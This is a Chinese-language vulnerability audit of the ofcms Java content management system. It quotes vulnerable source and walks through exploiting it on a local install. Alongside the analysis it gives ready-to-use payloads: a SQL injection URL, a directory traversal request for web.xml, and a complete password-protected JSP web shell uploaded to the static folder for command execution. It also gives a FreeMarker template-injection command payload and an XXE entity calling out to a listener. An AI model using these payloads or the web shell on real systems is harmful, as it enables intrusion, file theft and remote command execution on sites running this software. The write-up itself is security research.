环境搭建
ofcms是一个基于java技术研发的内容管理系统。
项目地址:ofmcms
1.同步pom文件。
2.在ofcms-admin\src\main\resources\dev\conf\db.properties配置自己mysql的账号密码,在数据库中新建ofcms数据库,将doc/sql中的sql文件导入。
配置服务器
账号密码:
http://localhost:8080/ofcms-admin/admin/login.html
admin/123456
漏洞审计
SQL注入
文件位置
ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController
问题在create()方法,他对sql进行了update操作。
@Action(path = "/system/generate", viewPath = "system/generate/")
public class SystemGenerateController extends BaseController {
public void code() {……}
public void create() {
try {
String sql = getPara("sql");
Db.update(sql);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"), e.getMessage());
}
}}
看getPara方法,它接收用户传入的参数
public String getPara(String name) {
return this.request.getParameter(name);
}
在Db.update处下断点,跟进到DbPro.class文件,在var4 = this.update(this.config, conn, sql, paras);处我无法下断点,但经过分析应该是调用的247行处的update函数。将用户传入的SQL语句直接执行。虽然这里使用了prepareStatement预处理。但SQL语句是先拼接完成再传入的,因此不能起到防止SQL注入的功能。
由Action注解可知这个页面的路由为/system/generate,登录之后构造SQL注入语句
http://localhost:8080/ofcms_admin/admin/system/generate/create?sql=update%20of_cms_ad%20set%20ad_id=updatexml(1,concat(1,user()),1)
目录遍历漏洞
文件位置
src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
完整代码如下
package com.ofsoft.cms.admin.controller.cms;
import com.ofsoft.cms.admin.controller.BaseController;
import com.ofsoft.cms.admin.controller.system.SystemUtile;
import com.ofsoft.cms.core.annotation.Action;
import com.ofsoft.cms.core.uitle.FileUtils;
import org.apache.commons.lang3.StringUtils;
import java.io.File;
import java.io.FileFilter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* 模板功能
*
* @author OF
* @date 2018年5月16日
*/
@Action(path = "/cms/template")
public class TemplateController extends BaseController {
/**
* 模板文件
*/
public void getTemplates() {
//当前目录
String dirName = getPara("dir","");
//上级目录
String upDirName = getPara("up_dir","/");
//类型区分
String resPath = getPara("res_path");
//文件目录
String dir = null;
if(!"/".equals(upDirName)){
dir = upDirName+dirName;
}else{
dir = dirName;
}
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
}
File[] dirs = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return file.isDirectory();
}
});
if(StringUtils.isBlank (dirName)){
upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));
}
setAttr("up_dir_name",upDirName);
setAttr("up_dir","".equals(dir)?"/":dir);
setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName);
setAttr("dirs", dirs);
/*if (dirName != null) {
pathFile = new File(pathFile, dirName);
}*/
File[] files = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
|| file.getName().endsWith(".css") || file.getName().endsWith(".js"));
}
});
setAttr("files", files);
String fileName = getPara("file_name", "index.html");
File editFile = null;
if (fileName != null && files != null && files.length > 0) {
for (File f : files) {
if (fileName.equals(f.getName())) {
editFile = f;
break;
}
}
if (editFile == null) {
editFile = files[0];
fileName = editFile.getName();
}
}
setAttr("file_name", fileName);
if (editFile != null) {
String fileContent = FileUtils.readString(editFile);
if (fileContent != null) {
fileContent = fileContent.replace("<", "<").replace(">", ">");
setAttr("file_content", fileContent);
setAttr("file_path", editFile);
}
}
if("res".equals(resPath)) {
render("/admin/cms/template/resource.html");
}else{
render("/admin/cms/template/index.html");
}
}
代码从前端获取dir和filename,并且未对dir进行处理,通过SystemUtile.getSiteTemplatePath()获取模板路径后与dir直接拼接。
代码创建了一个匿名类作为 FileFilter 接口的实现,并重写了 accept(File file) 方法, 该方法用于过滤文件,只保留非目录且以特定扩展名结尾的文件(.html、.xml、.css、.js)。索引只能读取以上后缀文件。
File[] files = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
|| file.getName().endsWith(".css") || file.getName().endsWith(".js"));
}
});
构造Payload如下
http://localhost:8080/ofcms_admin/admin/cms/template/getTemplates.html?file_name=web.xml&dir=../../&dir_name=
下断点跟进,发现代码将传入的参数进行拼接,并调用FileUtils.readString()函数进行了读取。
任意文件上传漏洞
文件位置
src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
漏洞代码
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
在Actionhandler处理器中,如果文件在static目录,则是直接返回,其他目录会将jsp、html、json等后缀进行置空。
public class ActionHandler extends Handler {
private String[] suffix = { ".html", ".jsp", ".json" };
public static final String exclusions = "static/";
// private String baseApi = "api";
public ActionHandler(String[] suffix) {
super();
this.suffix = suffix;
}
public ActionHandler() {
super();
}
@Override
public void handle(String target, HttpServletRequest request,
HttpServletResponse response, boolean[] isHandled) {
//过虑静态文件
if(target.contains(exclusions)){
return;
}
target = isDisableAccess(target);
BaseController.setRequestParams();
// RequestSupport.setLocalRequest(request);
// RequestSupport.setRequestParams();
//JFinal.me().getAction(target,null);
next.handle(target, request, response, isHandled);
}
private String isDisableAccess(String target) {
for (int i = 0; i < suffix.length; i++) {
String suffi = getSuffix(target);
if (suffi.contains(suffix[i])) {
return target.replace(suffi, "");
}
}
return target;
}
public static String getSuffix(String fileName) {
if (fileName != null && fileName.contains(".")) {
return fileName.substring(fileName.lastIndexOf("."));
}
return "";
}
}
将木马文件上传至static目录
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;
while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}
return line.toString();} %>
<%if("hanjiefang".equals(request.g
etParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request
.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>
可以执行命令
也可以直接连接冰蝎等
模板注入
在项目介绍或者pom文件里看到项目使用了freemarker模板引擎。如果可以将freemarker的POC添加到模板中,可以造成SSTI模板注入,执行命令。
文件位置
src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
由代码可以看出,输入的内容没有经过任何的过滤,最后调用FileUtils.writeString(file, fileContent)保存了修改的模板文件内容。要注意,fileContent.replace(“<”, “<“),它是将“<”替换为“<”,而不是将“<“替换为”<“,
将以下代码插入到index.html中并保存
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("calc") }
访问首页,可以触发命令执行
XXE注入
文件位置
src/main/java/com/ofsoft/cms/admin/controller/ReprotAction.java
@Action(path = "/reprot")
public class ReprotAction extends BaseController {
protected static Logger log = LoggerFactory.getLogger(ReprotAction.class);
public void expReport() {
HttpServletResponse response = getResponse();
Map<String, Object> hm = getParamsMap();
String jrxmlFileName = (String) hm.get("j");
jrxmlFileName = "/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml";
File file = new File(PathKit.getWebRootPath() + jrxmlFileName);
String fileName = (String) hm.get("reportName");
log.info("报表文件名[{}]", file.getPath());
OutputStream out = null;
try {
DataSource dataSource = (DataSource) SysBeans
.getBean("dataSourceProxy");
JasperPrint jprint = (JasperPrint) JasperFillManager.fillReport(
JasperCompileManager
.compileReport(new FileInputStream(file)), hm,
dataSource.getConnection());
JRXlsExporter exporter = new JRXlsExporter();
response.setHeader("Content-Disposition", "attachment;filename="
+ URLEncoder.encode(fileName, "utf-8") + ".xls");
response.setContentType("application/xls");
response.setCharacterEncoding("UTF-8");
JasperReportsUtils.render(exporter, jprint,
response.getOutputStream());
response.setStatus(HttpServletResponse.SC_OK);
out=response.getOutputStream();
out.flush();
out.close();
}
“/reprot”页面从前端获取参数“j”的值,进行路径拼接,并且限定了文件后缀名为“.jrxml”,之后调用JasperCompileManager .compileReport()函数进行解析。
利用前面的文件上传漏洞向static目录写入一个jxxml文件,内容为
<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8081">%xxe; ]>
起一个Python服务
访问以下链接
http://localhost:8080/ofcms_admin_war/admin/reprot/expReport.html?j=../../static/xxe
下断点进行调试
跟进JasperCompileManage.compileReport函数,最终跟踪到JRXmlLoader的loadXML方法,加载传入的xml文件,Payload得到执行。
Python服务收到请求